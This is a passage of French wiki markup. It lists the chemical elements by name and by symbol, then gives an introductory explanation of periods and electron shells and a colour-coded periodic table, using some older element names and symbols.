|| 2 |- | &nbsp;|| [[Holmium]] || Ho || 67 |- | &nbsp;|| [[Hydrogène]] || H || 1 |- | '''I''' || [[Indium]] || In || 49 |- | &nbsp;|| [[Iode]] || I || 53 |- | &nbsp;|| [[Iridium]] || Ir || 77 |- | '''K''' || [[Krypton]] || Kr || 36 |- | '''L''' || [[Lanthane]] || La || 57 |- | &nbsp;|| [[Lawrencium]] || Lr || 103 |- | &nbsp;|| [[Lithium]] || Li || 3 |- | &nbsp;|| [[Lutécium]] || Lu || 71 |- | '''M''' || [[Magnésium]] || Mg || 12 |- | &nbsp;|| [[Manganèse]] || Mn || 25 |- | &nbsp;|| [[Meitnerium]] || Mt || 109 |- | &nbsp;|| [[Mendélévium]] || Md || 101 |- | &nbsp;|| [[Mercure (élément)|Mercure]] || Hg || 80 |- | &nbsp;|| [[Molybdène]] || Mo || 42 |- | '''N''' || [[Néodyme]] || Nd || 60 |- | &nbsp;|| [[Néon]] || Ne || 10 |- | &nbsp;|| [[Neptunium]] || Np || 93 |- | &nbsp;|| [[Nickel]] || Ni || 28 |- | &nbsp;|| [[Niobium]] || Nb || 41 |- | &nbsp;|| [[Nobélium]] || No || 102 |- | '''O''' || [[Or]] || Au || 79 |- | &nbsp;|| [[Osmium]] || Os || 76 |- | &nbsp;|| [[Oxygène]] || O || 8 |- | '''P''' || [[Palladium (chimie)|Palladium]] || Pd || 46 |- | &nbsp;|| [[Phosphore]] || P || 15 |- | &nbsp;|| [[Platine]] || Pt || 78 |- | &nbsp;|| [[Plomb]] || Pb || 82 |- | &nbsp;|| [[Plutonium]] || Pu || 94 |- | &nbsp;|| [[Polonium]] || Po || 84 |- | &nbsp;|| [[Potassium]] || K || 19 |- | &nbsp;|| [[Praséodyme]] || Pr || 59 |- | &nbsp;|| [[Prométhium]] || Pm || 61 |- | &nbsp;|| [[Protactinium]] || Pa || 91 |- | '''R''' || [[Radium]] || Ra || 88 |- | &nbsp;|| [[Radon]] || Rn || 86 |- | &nbsp;|| [[Rhénium]] || Re || 75 |- | &nbsp;|| [[Rhodium]] || Rh || 45 |- | &nbsp;|| [[Roentgenium]] || Rg || 111 |- | &nbsp;|| [[Rubidium]] || Rb || 37 |- | &nbsp;|| [[Ruthénium]] || Ru || 44 |- | &nbsp;|| [[Rutherfordium]] || Rf || 104 |- | '''S''' || [[Samarium]] || Sm || 62 |- | &nbsp;|| [[Scandium]] || Sc || 21 |- | &nbsp;|| [[Seaborgium]] || Sg || 106 |- | &nbsp;|| [[Sélenium]] || Se || 34 |- | &nbsp;|| [[Silicium]] || Si || 14 |- | &nbsp;|| [[Sodium]] || Na || 11 |- | &nbsp;|| [[Soufre]] || S || 16 |- | &nbsp;|| [[Strontium]] || Sr || 38 |- | '''T''' || [[Tantale (chimie)|Tantale]] || Ta || 73 |- | &nbsp;|| [[Technétium]] || Tc || 43 |- | &nbsp;|| [[Tellure]] || Te || 52 |- | &nbsp;|| [[Terbium]] || Tb || 65 |- | &nbsp;|| [[Thallium]] || Tl || 81 |- | &nbsp;|| [[Thorium]] || Th || 90 |- | &nbsp;|| [[Thulium]] || Tm || 69 |- | &nbsp;|| [[Titane]] || Ti || 22 |- | &nbsp;|| [[Tungstène]] || W || 74 |- | '''U''' || [[Ununbium]] || Uub || 112 |- | &nbsp;|| [[Ununennium]] || Uue || 119 |- | &nbsp;|| [[Ununhexium]] || Uuh || 116 |- | &nbsp;|| [[Ununoctium]] || Uuo || 118 |- | &nbsp;|| [[Ununpentium]] || Uup || 115 |- | &nbsp;|| [[Ununquadium]] || Uuq || 114 |- | &nbsp;|| [[Ununseptium]] || Uus || 117 |- | &nbsp;|| [[Ununtrium]] || Uut || 113 |- | &nbsp;|| [[Uranium]] || U || 92 |- | '''V''' || [[Vanadium]] || V || 23 |- | '''X''' || [[Xénon]] || Xe || 54 |- | '''Y''' || [[Ytterbium]] || Yb || 70 |- | &nbsp;|| [[Yttrium]] || Y || 39 |- | '''Z''' || [[Zinc]] || Zn || 30 |- | &nbsp;|| [[Zirconium]] || Zr || 40 |} == Éléments chimiques classés par symbole == {| style="text-align: right" border="1" cellspacing="0" cellpadding="3" |symbole || nom || numéro atomique |- |Ac || [[Actinium]] || 89 |- |Ag || [[Argent]] || 47 |- |Al || [[Aluminium]] || 13 |- |Am || [[Américium]] || 95 |- |Ar || [[Argon]] || 18 |- |As || [[Arsenic]] || 33 |- |At || [[Astate]] || 85 |- |Au || [[Or]] || 79 |- |B || [[Bore]] || 5 |- |Ba || [[Baryum]] || 56 |- |Be || [[Béryllium]] || 4 |- |Bh || [[Bohrium]] || 107 |- |Bi || [[Bismuth]] || 83 |- |Bk || [[Berkélium]] || 97 |- |Br || [[Brome]] || 35 |- |C || [[Carbone]] || 6 |- |Ca || [[Calcium]] || 20 |- |Cd || [[Cadmium]] || 48 |- |Ce || [[Cérium]] || 58 |- |Cf || [[Californium]] || 98 |- |Cl || [[Chlore]] || 17 |- |Cm || [[Curium]] || 96 |- |Co || [[Cobalt]] || 27 |- |Cr || [[Chrome (chimie)|Chrome]] || 24 |- |Cs || [[Césium]] || 55 |- |Cu || [[Cuivre]] || 29 |- |Db || [[Dubnium]] || 105 |- |Ds || [[Darmstadtium]] || 110 |- |Dy || [[Dysprosium]] || 66 |- |Er || [[Erbium]] || 68 |- |Es || [[Einsteinium]] || 99 |- |Eu || [[Europium]] || 63 |- |F || [[Fluor]] || 9 |- |Fe || [[Fer]] || 26 |- |Fm || [[Fermium]] || 100 |- |Fr || [[Francium]] || 87 |- |Ga || [[Gallium]] || 31 |- |Gd || [[Gadolinium]] || 64 |- |Ge || [[Germanium]] || 32 |- |H || [[Hydrogène]] || 1 |- |He || [[Hélium]] || 2 |- |Hf || [[Hafnium]] || 72 |- |Hg || [[Mercure_(élément)|Mercure]] || 80 |- |Ho || [[Holmium]] || 67 |- |Hs || [[Hassium]] || 108 |- |I || [[Iode]] || 53 |- |In || [[Indium]] || 49 |- |Ir || [[Iridium]] || 77 |- |K || [[Potassium]] || 19 |- |Kr || [[Krypton]] || 36 |- |La || [[Lanthane]] || 57 |- |Li || [[Lithium]] || 3 |- |Lr || [[Lawrencium]] || 103 |- |Lu || [[Lutécium]] || 71 |- |Md || [[Mendélévium]] || 101 |- |Mg || [[Magnésium]] || 12 |- |Mn || [[Manganèse]] || 25 |- |Mo || [[Molybdène]] || 42 |- |Mt || [[Meitnerium]] || 109 |- |N || [[Azote]] || 7 |- |Na || [[Sodium]] || 11 |- |Nb || [[Niobium]] || 41 |- |Nd || [[Néodyme]] || 60 |- |Ne || [[Néon]] || 10 |- |Ni || [[Nickel]] || 28 |- |No || [[Nobélium]] || 102 |- |Np || [[Neptunium]] || 93 |- |O || [[Oxygène]] || 8 |- |Os || [[Osmium]] || 76 |- |P || [[Phosphore]] || 15 |- |Pa || [[Protactinium]] || 91 |- |Pb || [[Plomb]] || 82 |- |Pd || [[Palladium_(chimie)|Palladium]] || 46 |- |Pm || [[Prométhium]] || 61 |- |Po || [[Polonium]] || 84 |- |Pr || [[Praséodyme]] || 59 |- |Pt || [[Platine]] || 78 |- |Pu || [[Plutonium]] || 94 |- |Ra || [[Radium]] || 88 |- |Rb || [[Rubidium]] || 37 |- |Re || [[Rhénium]] || 75 |- |Rf || [[Rutherfordium]] || 104 |- |Rg|| [[Roentgenium]] || 111 |- |Rh || [[Rhodium]] || 45 |- |Rn || [[Radon]] || 86 |- |Ru || [[Ruthénium]] || 44 |- |S || [[Soufre]] || 16 |- |Sb || [[Antimoine]] || 51 |- |Sc || [[Scandium]] || 21 |- |Se || [[Sélenium]] || 34 |- |Sg || [[Seaborgium]] || 106 |- |Si || [[Silicium]] || 14 |- |Sm || [[Samarium]] || 62 |- |Sn || [[Étain]] || 50 |- |Sr || [[Strontium]] || 38 |- |Ta || [[Tantale_(chimie)|Tantale]] || 73 |- |Tb || [[Terbium]] || 65 |- |Tc || [[Technetium]] || 43 |- |Te || [[Tellure]] || 52 |- |Th || [[Thorium]] || 90 |- |Ti || [[Titane]] || 22 |- |Tl || [[Thallium]] || 81 |- |Tm || [[Thulium]] || 69 |- |U || [[Uranium]] || 92 |- |Uub|| [[Ununbium]] || 112 |- |Uuh|| [[Ununhexium]] || 116 |- |Uuo|| [[Ununoctium]] || 118 |- |Uup|| [[Ununpentium]] || 115 |- |Uuq|| [[Ununquadium]] || 114 |- |Uus|| [[Ununseptium]] || 117 |- |Uut|| [[Ununtrium]] || 113 |- |V || [[Vanadium]] || 23 |- |W || [[Tungstène]] || 74 |- |Xe || [[Xénon]] || 54 |- |Y || [[Yttrium]] || 39 |- |Yb || [[Ytterbium]] || 70 |- |Zn || [[Zinc]] || 30 |- |Zr || [[Zirconium]] || 40 |} {{Photo_02}} Photographie - 02 - Classification périodique des éléments 5229 32172 2006-02-09T11:05:01Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_02}} [[Image:Дмитрий Иванович Менделеев 9.jpg|thumb|200px|right|[[w:fr:Dmitri Mendeleïev|Dmitri Ivanovitch Mendeleiev]]<br> (1834- 1907)]] Si l'on classe tous les éléments chimiques naturels et artificiels dans l'ordre de leurs numéros atomiques, on obtient une longue liste tout au long de laquelle on retrouve, à intervalles réguliers, des corps ou des groupes de corps possédant des propriétés chimiques analogues. La suite de cet exposé nous apprendra que les liaisons chimiques entre les atomes mettent en jeu les électrons périphériques, qui se trouvent sur la couche la plus éloignée du noyau, et que l'on appelle '''électrons de valence'''. == Les périodes == Étant donné que les différentes couches K, L, M, N, O, P, se complètent les unes après les autres, on retrouve périodiquement, dans la liste, des atomes qui pos­sèdent le même nombre d'électrons périphériques, mais sur des couches différentes. Ces atomes sont dotés de propriétés similaires. Les différents éléments peuvent être classés en périodes selon le tableau de Mendeleïev, de la manière suivante : * '''Première période :''' elle ne comprend que deux éléments, 1 H et 2 He, elle correspond au remplissage de la couche K par deux électrons. * '''Deuxième période :''' la couche K est complète et la couche L reçoit progressivement 8 électrons, de 3 Li à 10 Ne. * '''Troisième période :''' la couche M reçoit 8 électrons, de 11 Na à 18 A, sans pour autant être complète. * '''Quatrième période :''' la couche N reçoit 1, puis 2 électrons avec 19 K et 20 Ca, puis 10 nouveaux électrons viennent se placer sur la couche M qui était incomplète, de 21 Sc à 29 Cu (lors du passage de 28 Ni à 29 Cu, un électron est repris à la couche N). Enfin, la couche N passe à 8, de 30 Zn à 36 Kr. Les éléments dont les deux couches sont incomplètes sont appelés éléments de transition, ils ont tous le même nombre d'électrons de valence et des propriétés voisines. * '''Cinquième période :''' elle est composée de la même manière que la précédente, avec 8 nouveaux éléments de transition, et elle se termine par 54 Xe. * '''Sixième période :''' c'est la plus longue de toutes, avec 32 éléments qui vont de 55 Cs à 86 R, parmi lesquels le groupe des "terres rares" qui compte 15 éléments. Ceux-ci ont des propriétés chimiques pratiquement identiques, puisqu'ils ont le même nombre d'électrons sur les deux couches périphériques O et P alors que c'est la couche N qui se complète. Ils ont posé aux chimistes le très difficile problème de leur séparation, que l'on n'a pu obtenir qu'après plusieurs années de cristallisations fractionnées. * '''Septième période :''' elle comprend encore une vingtaine d'éléments, pour la plupart radioactifs, à partir de 87 Fr. Le tableau ci-dessous indique le remplis­sage des couches électroniques des divers gaz inertes qui terminent les périodes de 1 à 6. {| border="1" cellspacing="0" cellpadding="3" align="center" |- | ||..K..||..L..||..M..||..N..||..O..||..P..||Total |- |He||2|| || || || || || 2 |- |Ne||2||8|| || || || || 10 |- |A||2||8||8|| || || || 18 |- |Kr||2||8||18||8|| || || 36 |- |Xe||2||8||18||18||8|| ||54 |- |Rn||2||8||18||32||18||8||86 |- |} == Tableau périodique des éléments == Le '''tableau périodique des éléments''' (également appelé '''Table de [[w:fr:Dmitri Mendeleïev|Mendeleïev]]''', '''classification périodique des éléments''', ou simplement '''tableau périodique''') représente tous les éléments chimiques groupés par leur numéro atomique. {| border="0" cellpadding="0" cellspacing="3" bordercolor="#FFFFFF" width="80%" align="center" |+ '''[[w:fr:table périodique des éléments|Table périodique des éléments]]''' |- | align="center" bgcolor="#FFFFFF" width="8%"|'''<font color="#FF0000">Groupe</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Métaux alcalins|1]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Métaux alcalino-terreux|2]]</font>''' | width="2%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 3|3]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 4|4]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 5|5]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 6|6]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 7|7]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 8|8]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 9|9]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 10|10]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Coinage Metals|11]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe 12|12]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe Boron|13]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Éléments du groupe Carbon|14]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Pnictogen|15]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Chalcogens|16]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Halogène|17]]</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">[[w:fr:Gaz rare|18]]</font>''' |- | align="center" bgcolor="#FFFFFF" width="8%"| | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">I</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">II</font>''' | width="2%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"| | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">III</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">IV</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">V</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">VI</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">VII</font>''' | width="5%" align="center" bgcolor="#FFFFFF"|'''<font color="#FF0000">VIII</font>''' |- | align="center" bgcolor="#FFFFFF" width="8%"|'''<font color="#FF0000">Période</font>''' | width="5%" align="center"| | width="5%" align="center"| | width="2%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 1|1]]''' | width="5%" align="center" bgcolor="#a0ffa0"|1<br />[[w:fr:hydrogène|H]] | width="5%" align="center"| | width="2%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center" bgcolor="#c0ffff"|2<br />[[w:fr:hélium|He]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 2|2]]''' | width="5%" align="center" bgcolor="#FF6666"|3<br />[[w:fr:lithium|Li]] | width="5%" align="center" bgcolor="#FFDEAD"|4<br />[[w:fr:béryllium|Be]] | width="2%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center" bgcolor="#cccc99"|5<br />[[w:fr:bore|B]] | width="5%" align="center" bgcolor="#a0ffa0"|6<br />[[w:fr:carbone|C]] | width="5%" align="center" bgcolor="#a0ffa0"|7<br />[[w:fr:azote|N]] | width="5%" align="center" bgcolor="#a0ffa0"|8<br />[[w:fr:Oxygène|O]] | width="5%" align="center" bgcolor="#ffff99"|9<br />[[w:fr:fluor|F]] | width="5%" align="center" bgcolor="#c0ffff"|10<br />[[w:fr:néon|Ne]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 3|3]]''' | width="5%" align="center" bgcolor="#ff6666"|11<br />[[w:fr:sodium|Na]] | width="5%" align="center" bgcolor="#FFDEAD"|12<br />[[w:fr:magnésium|Mg]] | width="2%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center"| | width="5%" align="center" bgcolor="#cccccc"|13<br />[[w:fr:aluminium|Al]] | width="5%" align="center" bgcolor="#cccc99"|14<br />[[w:fr:silicium|Si]] | width="5%" align="center" bgcolor="#a0ffa0"|15<br />[[w:fr:phosphore|P]] | width="5%" align="center" bgcolor="#a0ffa0"|16<br />[[w:fr:soufre|S]] | width="5%" align="center" bgcolor="#ffff99"|17<br />[[w:fr:chlore|Cl]] | width="5%" align="center" bgcolor="#c0ffff"|18<br />[[w:fr:argon|Ar]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 4|4]]''' | width="5%" align="center" bgcolor="#FF6666"|19<br />[[w:fr:potassium|K]] | width="5%" align="center" bgcolor="#FFDEAD"|20<br />[[w:fr:calcium|Ca]] | width="2%" align="center"| | width="5%" align="center" bgcolor="#ffc0c0"|21<br />[[w:fr:scandium|Sc]] | width="5%" align="center" bgcolor="#ffc0c0"|22<br />[[w:fr:titane|Ti]] | width="5%" align="center" bgcolor="#ffc0c0"|23<br />[[w:fr:vanadium|V]] | width="5%" align="center" bgcolor="#ffc0c0"|24<br />[[w:fr:chrome (chimie)|Cr]] | width="5%" align="center" bgcolor="#ffc0c0"|25<br />[[w:fr:manganèse|Mn]] | width="5%" align="center" bgcolor="#ffc0c0"|26<br />[[w:fr:fer|Fe]] | width="5%" align="center" bgcolor="#ffc0c0"|27<br />[[w:fr:cobalt|Co]] | width="5%" align="center" bgcolor="#ffc0c0"|28<br />[[w:fr:nickel|Ni]] | width="5%" align="center" bgcolor="#ffc0c0"|29<br />[[w:fr:cuivre|Cu]] | width="5%" align="center" bgcolor="#ffc0c0"|30<br />[[w:fr:zinc|Zn]] | width="5%" align="center" bgcolor="#cccccc"|31<br />[[w:fr:gallium|Ga]] | width="5%" align="center" bgcolor="#cccc99"|32<br />[[w:fr:germanium|Ge]] | width="5%" align="center" bgcolor="#cccc99"|33<br />[[w:fr:arsenic|As]] | width="5%" align="center" bgcolor="#a0ffa0"|34<br />[[w:fr:sélénium|Se]] | width="5%" align="center" bgcolor="#ffff99"|35<br />[[w:fr:brome|Br]] | width="5%" align="center" bgcolor="#c0ffff"|36<br />[[w:fr:krypton|Kr]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 5|5]]''' | width="5%" align="center" bgcolor="#FF6666"|37<br />[[w:fr:rubidium|Rb]] | width="5%" align="center" bgcolor="#FFDEAD"|38<br />[[w:fr:strontium|Sr]] | width="2%" align="center"| | width="5%" align="center" bgcolor="#ffc0c0"|39<br />[[w:fr:yttrium|Y]] | width="5%" align="center" bgcolor="#ffc0c0"|40<br />[[w:fr:zirconium|Zr]] | width="5%" align="center" bgcolor="#ffc0c0"|41<br />[[w:fr:niobium|Nb]] | width="5%" align="center" bgcolor="#ffc0c0"|42<br />[[w:fr:molybdène|Mo]] | width="5%" align="center" bgcolor="#ffc0c0"|43<br />[[w:fr:Technétium|Tc]] | width="5%" align="center" bgcolor="#ffc0c0"|44<br />[[w:fr:ruthénium|Ru]] | width="5%" align="center" bgcolor="#ffc0c0"|45<br />[[w:fr:rhodium|Rh]] | width="5%" align="center" bgcolor="#ffc0c0"|46<br />[[w:fr:palladium (chimie)|Pd]] | width="5%" align="center" bgcolor="#ffc0c0"|47<br />[[w:fr:argent|Ag]] | width="5%" align="center" bgcolor="#ffc0c0"|48<br />[[w:fr:cadmium|Cd]] | width="5%" align="center" bgcolor="#cccccc"|49<br />[[w:fr:indium|In]] | width="5%" align="center" bgcolor="#cccccc"|50<br />[[w:fr:étain|Sn]] | width="5%" align="center" bgcolor="#cccc99"|51<br />[[w:fr:antimoine|Sb]] | width="5%" align="center" bgcolor="#cccc99"|52<br />[[w:fr:tellure|Te]] | width="5%" align="center" bgcolor="#ffff99"|53<br />[[w:fr:iode|I]] | width="5%" align="center" bgcolor="#c0ffff"|54<br />[[w:fr:xénon|Xe]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 6|6]]''' | width="5%" align="center" bgcolor="#FF6666"|55<br />[[w:fr:césium|Cs]] | width="5%" align="center" bgcolor="#FFDEAD"|56<br />[[w:fr:baryum|Ba]] | width="2%" align="center" bgcolor="#ffbfff"|* | width="5%" align="center" bgcolor="#ffc0c0"|71<br />[[w:fr:lutécium|Lu]] | width="5%" align="center" bgcolor="#ffc0c0"|72<br />[[w:fr:hafnium|Hf]] | width="5%" align="center" bgcolor="#ffc0c0"|73<br />[[w:fr:tantale (chimie)|Ta]] | width="5%" align="center" bgcolor="#ffc0c0"|74<br />[[w:fr:tungstène|W]] | width="5%" align="center" bgcolor="#ffc0c0"|75<br />[[w:fr:rhénium|Re]] | width="5%" align="center" bgcolor="#ffc0c0"|76<br />[[w:fr:osmium|Os]] | width="5%" align="center" bgcolor="#ffc0c0"|77<br />[[w:fr:iridium|Ir]] | width="5%" align="center" bgcolor="#ffc0c0"|78<br />[[w:fr:platine|Pt]] | width="5%" align="center" bgcolor="#ffc0c0"|79<br />[[w:fr:or|Au]] | width="5%" align="center" bgcolor="#ffc0c0"|80<br />[[w:fr:mercure (élément)|Hg]] | width="5%" align="center" bgcolor="#cccccc"|81<br />[[w:fr:thallium|Tl]] | width="5%" align="center" bgcolor="#cccccc"|82<br />[[w:fr:Plomb|Pb]] | width="5%" align="center" bgcolor="#cccccc"|83<br />[[w:fr:bismuth|Bi]] | width="5%" align="center" bgcolor="#cccc99"|84<br />[[w:fr:polonium|Po]] | width="5%" align="center" bgcolor="#ffff99"|85<br />[[w:fr:astate|At]] | width="5%" align="center" bgcolor="#c0ffff"|86<br />[[w:fr:radon|Rn]] |- | align="center" bgcolor="#FFFFFF" width="8%"|'''[[w:fr:Éléments de la période 7|7]]''' | width="5%" align="center" bgcolor="#FF6666"|87<br />[[w:fr:francium|Fr]] | width="5%" align="center" bgcolor="#FFDEAD"|88<br />[[w:fr:radium|Ra]] | width="2%" align="center" bgcolor="#ff99cc"|** | width="5%" align="center" bgcolor="#ffc0c0"|103<br />[[w:fr:lawrencium|Lr]] | width="5%" align="center" bgcolor="#ffc0c0"|104<br />[[w:fr:rutherfordium|Rf]] | width="5%" align="center" bgcolor="#ffc0c0"|105<br />[[w:fr:dubnium|Db]] | width="5%" align="center" bgcolor="#ffc0c0"|106<br />[[w:fr:seaborgium|Sg]] | width="5%" align="center" bgcolor="#ffc0c0"|107<br />[[w:fr:bohrium|Bh]] | width="5%" align="center" bgcolor="#ffc0c0"|108<br />[[w:fr:hassium|Hs]] | width="5%" align="center" bgcolor="#ffc0c0"|109<br />[[w:fr:meitnerium|Mt]] | width="5%" align="center" bgcolor="#ffc0c0"|110<br />[[w:fr:darmstadtium|Ds]] | width="5%" align="center" bgcolor="#ffc0c0"|111<br />[[w:fr:Roentgenium|Uuu]] | width="5%" align="center" bgcolor="#ffc0c0"|112<br />[[w:fr:ununbium|Uub]] | width="5%" align="center" bgcolor="#eceaec"|<font color="#808080">113<br />[[w:fr:ununtrium|Uut]]</font> | width="5%" align="center" bgcolor="#cccccc"|114<br />[[w:fr:ununquadium|Uuq]] | width="5%" align="center" bgcolor="#eceaec"|<font color="#808080">115<br />[[w:fr:ununpentium|Uup]]</font> | width="5%" align="center" bgcolor="#eceaec"|116<br />[[w:fr:ununhexium|Uuh]] | width="5%" align="center" bgcolor="#fcfecc"|<font color="#808080">117<br />[[w:fr:ununseptium|Uus]]</font> | width="5%" align="center" bgcolor="#ecfefc"|118<br />[[w:fr:ununoctium|Uuo]] |} {| border="0" align="center" cellpadding="0" cellspacing="3" width="80%" bordercolor="#FFFFFF" |- | width="18%" bgcolor="#FFFFFF" align="center"|'''<font color="#FF0000"> [[w:fr:lanthanide|Lanthanide]]s</font>''' | width="2%" align="center"|* | width="5%" align="center" bgcolor="#FFBFFF"|57<br />[[w:fr:lanthane|La]] | width="5%" align="center" bgcolor="#FFBFFF"|58<br />[[w:fr:cérium|Ce]] | width="5%" align="center" bgcolor="#FFBFFF"|59<br />[[w:fr:praséodyme|Pr]] | width="5%" align="center" bgcolor="#FFBFFF"|60<br />[[w:fr:néodyme|Nd]] | width="5%" align="center" bgcolor="#FFBFFF"|61<br />[[w:fr:prométhium|Pm]] | width="5%" align="center" bgcolor="#FFBFFF"|62<br />[[w:fr:samarium|Sm]] | width="5%" align="center" bgcolor="#FFBFFF"|63<br />[[w:fr:europium|Eu]] | width="5%" align="center" bgcolor="#FFBFFF"|64<br />[[w:fr:gadolinium|Gd]] | width="5%" align="center" bgcolor="#FFBFFF"|65<br />[[w:fr:terbium|Tb]] | width="5%" align="center" bgcolor="#FFBFFF"|66<br />[[w:fr:dysprosium|Dy]] | width="5%" align="center" bgcolor="#FFBFFF"|67<br />[[w:fr:holmium|Ho]] | width="5%" align="center" bgcolor="#FFBFFF"|68<br />[[w:fr:erbium|Er]] | width="5%" align="center" bgcolor="#FFBFFF"|69<br />[[w:fr:thulium|Tm]] | width="5%" align="center" bgcolor="#FFBFFF"|70<br />[[w:fr:ytterbium|Yb]] | width="5%" align="center"| | width="5%" align="center"| |- | width="18%" bgcolor="#FFFFFF" align="center"|'''<font color="#FF0000">[[w:fr:actinides|Actinides]]</font>''' | width="2%" align="center"|** | width="5%" align="center" bgcolor="#ff99cc"|89<br />[[w:fr:actinium|Ac]] | width="5%" align="center" bgcolor="#ff99cc"|90<br />[[w:fr:thorium|Th]] | width="5%" align="center" bgcolor="#ff99cc"|91<br />[[w:fr:protactinium|Pa]] | width="5%" align="center" bgcolor="#ff99cc"|92<br />[[w:fr:uranium|U]] | width="5%" align="center" bgcolor="#ff99cc"|93<br />[[w:fr:neptunium|Np]] | width="5%" align="center" bgcolor="#ff99cc"|94<br />[[w:fr:plutonium|Pu]] | width="5%" align="center" bgcolor="#ff99cc"|95<br />[[w:fr:américium|Am]] | width="5%" align="center" bgcolor="#ff99cc"|96<br />[[w:fr:curium|Cm]] | width="5%" align="center" bgcolor="#ff99cc"|97<br />[[w:fr:berkélium|Bk]] | width="5%" align="center" bgcolor="#ff99cc"|98<br />[[w:fr:californium|Cf]] | width="5%" align="center" bgcolor="#ff99cc"|99<br />[[w:fr:einsteinium|Es]] | width="5%" align="center" bgcolor="#ff99cc"|100<br />[[w:fr:fermium|Fm]] | width="5%" align="center" bgcolor="#ff99cc"|101<br />[[w:fr:mendélévium|Md]] | width="5%" align="center" bgcolor="#ff99cc"|102<br />[[w:fr:nobélium|No]] | width="5%" align="center"| | width="5%" align="center"| |} <CENTER> {| border="1" cellpadding="0" cellspacing="0" width="80%" bordercolor="#FFFFFF" |+ Séries chimiques du tableau périodique |- | bgcolor="#FF6666"|[[w:fr:Métal alcalin|Métaux alcalins]] | bgcolor="#FFDEAD"|[[w:fr:Métal alcalino-terreux|Métaux alcalino-terreux]] | bgcolor="#ffbfff"|[[w:fr:lanthanide|Lanthanide]]s | bgcolor="#ff99cc"|[[w:fr:actinide|Actinide]]s | bgcolor="#ffc0c0"|[[w:fr:Métal de transition|Métaux de transition]] |- | bgcolor="#CCCCCC"|[[w:fr:Métal pauvre|Métaux pauvres]] | bgcolor="#CCCC99"|[[w:fr:métalloide|Métalloïde]]s | bgcolor="#a0ffa0"|[[w:fr:Non-métal|Non-métaux]] | bgcolor="#ffff99"|[[w:fr:halogène|Halogène]]s | bgcolor="#c0ffff"|[[w:fr:gaz rare|Gaz rare]]s |} </CENTER> == Note == 